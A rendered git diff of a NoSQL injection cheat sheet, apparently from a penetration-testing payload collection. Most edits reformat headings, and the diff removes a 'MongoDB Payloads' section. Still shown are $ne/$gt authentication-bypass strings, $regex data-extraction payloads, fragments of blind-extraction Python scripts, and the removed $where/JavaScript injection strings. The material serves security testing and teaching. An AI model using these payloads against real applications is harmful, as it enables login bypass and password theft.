8
8
* [ Tools] ( #tools )
9
9
* [ Methodology] ( #methodology )
10
10
* [ Authentication Bypass] ( #authentication-bypass )
11
- * [ Extract length information ] ( #extract-length-information )
12
- * [ Extract data information ] ( #extract-data-information )
11
+ * [ Extract Length Information ] ( #extract-length-information )
12
+ * [ Extract Data Information ] ( #extract-data-information )
13
13
* [ Blind NoSQL] ( #blind-nosql )
14
- * [ POST with JSON body ] ( #post-with-json-body )
15
- * [ POST with urlencoded body ] ( #post-with-urlencoded-body )
14
+ * [ POST with JSON Body ] ( #post-with-json-body )
15
+ * [ POST with urlencoded Body ] ( #post-with-urlencoded-body )
16
16
* [ GET] ( #get )
17
- * [ MongoDB Payloads] ( #mongodb-payloads )
18
17
* [ Labs] ( #references )
19
18
* [ References] ( #references )
20
19
30
29
31
30
### Authentication Bypass
32
31
33
- Basic authentication bypass using not equal ($ne) or greater ($gt)
32
+ Basic authentication bypass using not equal (` $ne ` ) or greater (` $gt ` )
34
33
35
34
* in HTTP data
36
35
``` ps1
@@ -49,14 +48,16 @@ Basic authentication bypass using not equal ($ne) or greater ($gt)
49
48
```
50
49
51
50
52
- ### Extract length information
51
+ ### Extract Length Information
52
+
53
+ Inject a payload using the $regex operator. The injection will work when the length is correct.
53
54
54
55
``` ps1
55
56
username[$ne]=toto&password[$regex]=.{1}
56
57
username[$ne]=toto&password[$regex]=.{3}
57
58
```
58
59
59
- ### Extract data information
60
+ ### Extract Data Information
60
61
61
62
Extract data with "` $regex ` " query operator.
62
63
@@ -86,7 +87,7 @@ Extract data with "`$in`" query operator.
86
87
87
88
## Blind NoSQL
88
89
89
- ### POST with JSON body
90
+ ### POST with JSON Body
90
91
91
92
Python script:
92
93
@@ -112,7 +113,7 @@ while True:
112
113
password += c
113
114
```
114
115
115
- ### POST with urlencoded body
116
+ ### POST with urlencoded Body
116
117
117
118
Python script:
118
119
@@ -140,7 +141,7 @@ while True:
140
141
141
142
### GET
142
143
143
- python script:
144
+ Python script:
144
145
145
146
``` python
146
147
import requests
191
192
```
192
193
193
194
194
- ## MongoDB Payloads
195
-
196
- ``` bash
197
- true, $where : ' 1 == 1'
198
- , $where : ' 1 == 1'
199
- $where : ' 1 == 1'
200
- ' , $where: ' 1 == 1'
201
- 1, $where: ' 1 == 1'
202
- { $ne: 1 }
203
- ' , $or : [ {}, { ' a' :' a
204
- ' } ], $comment :' successful MongoDB injection'
205
- db.injection.insert({success:1});
206
- db.injection.insert({success:1}); return 1;db.stores.mapReduce(function () { { emit(1,1
207
- || 1==1
208
- ' && this.password.match(/.*/)//+%00
209
- ' && this.passwordzz.match(/.* /)//+%00
210
- ' %20%26%26%20this.password.match(/.*/)//+%00
211
- ' %20%26%26%20this.passwordzz.match(/.* /)//+%00
212
- {$gt : ' ' }
213
- [$ne ]=1
214
- ' ;return ' a' ==' a' && ' ' =='
215
- " ;return(true);var xyz='a
216
- 0;return true
217
- ` ` `
218
-
219
-
220
195
## Labs
221
196
222
197
* [ Root Me - NoSQL injection - Authentication] ( https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication )
0 commit comments